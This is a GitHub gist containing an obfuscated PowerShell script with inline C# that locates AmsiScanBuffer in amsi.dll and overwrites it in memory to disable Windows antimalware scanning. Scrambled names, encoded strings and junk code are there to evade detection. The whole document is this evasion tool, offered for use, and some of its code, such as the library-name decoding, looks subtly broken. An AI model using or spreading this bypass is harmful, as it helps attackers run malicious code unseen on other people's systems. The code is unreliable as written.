Skip to content

Instantly share code, notes, and snippets.

@0xHossam
Last active June 19, 2025 11:36
Show Gist options
  • Save 0xHossam/64ac3e82482e863aedf5611f03a6d4b1 to your computer and use it in GitHub Desktop.
Save 0xHossam/64ac3e82482e863aedf5611f03a6d4b1 to your computer and use it in GitHub Desktop.
# Define a complex, meaningless variable name for the C# source code
$ObfuscatedQuantumEntropy = @"
using System;
using System.Runtime.InteropServices;
public class _x9F3kL7mPqZ2wR8tYvN4_
{
static byte[] _qW9xP4rT2yL7mK8nJ3v_ = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] _zT2mR8kY6pN3vL9wJ4x_ = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
public static void _hG7vN2kP9mR3xL8tW4q_()
{
if (_yN4xL8mP3tR7kW9vZ2q_())
_pK9mW3vL2xR8tN4qY7j_(_qW9xP4rT2yL7mK8nJ3v_);
else
_pK9mW3vL2xR8tN4qY7j_(_zT2mR8kY6pN3vL9wJ4x_);
}
private static void _pK9mW3vL2xR8tN4qY7j_(byte[] _jN2qY8kW4mP3xL9tR7v_)
{
try
{
// Split and encode the library name to avoid simple string detection
string _xL7mP4tR9kW2vN3qY8j_ = Convert.FromBase64String("YW1zaS5kbGw=").ToString().Remove(0, 1).Insert(0, "a");
var _vR3kY9mW2tP8xL4qN7j_ = _mT9xW2kP4vL8qR3nY7j_.LoadLibrary(_xL7mP4tR9kW2vN3qY8j_);
var _qN4tL8mR7kP2vY9xW3j_ = _mT9xW2kP4vL8qR3nY7j_.GetProcAddress(_vR3kY9mW2tP8xL4qN7j_, new string(new char[] { 'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r' }));
uint _tY2mN8kW4vP9xL3qR7j_;
_mT9xW2kP4vL8qR3nY7j_.VirtualProtect(_qN4tL8mR7kP2vY9xW3j_, (UIntPtr)_jN2qY8kW4mP3xL9tR7v_.Length, 0x40, out _tY2mN8kW4vP9xL3qR7j_);
// Add junk code to obscure the critical operation
for (int i = 0; i < 100; i++) { var _ = Math.Sqrt(i); }
Marshal.Copy(_jN2qY8kW4mP3xL9tR7v_, 0, _qN4tL8mR7kP2vY9xW3j_, _jN2qY8kW4mP3xL9tR7v_.Length);
Console.WriteLine(Encoding.UTF8.GetString(Convert.FromBase64String("UGF0Y2ggU3VjZXNzZnVsbA==")));
}
catch (Exception _kW9vP3xL2tR8mN4qY7j_)
{
// Obfuscate exception handling
Console.WriteLine(" [x] {0}", _kW9vP3xL2tR8mN4qY7j_.Message);
if (_kW9vP3xL2tR8mN4qY7j_.InnerException != null)
Console.WriteLine(" [x] {0}", _kW9vP3xL2tR8mN4qY7j_.InnerException);
}
}
private static bool _yN4xL8mP3tR7kW9vZ2q_()
{
// Add unnecessary complexity
bool _rT7kP9vW2mL4xN8qY3j_ = true;
var _dummy = new Random().Next(1, 1000);
if (IntPtr.Size == 4 || _dummy % 2 == 0 && _dummy % 3 == 0)
_rT7kP9vW2mL4xN8qY3j_ = false;
return _rT7kP9vW2mL4xN8qY3j_ && IntPtr.Size != 4;
}
}
class _mT9xW2kP4vL8qR3nY7j_
{
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
# Use dynamic invocation to avoid direct calls
Add-Type -TypeDefinition $ObfuscatedQuantumEntropy -Language CSharp
$TypeRef = [Type]::GetType("_x9F3kL7mPqZ2wR8tYvN4_")
$MethodRef = $TypeRef.GetMethod("_hG7vN2kP9mR3xL8tW4q_")
$MethodRef.Invoke($null, $null)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment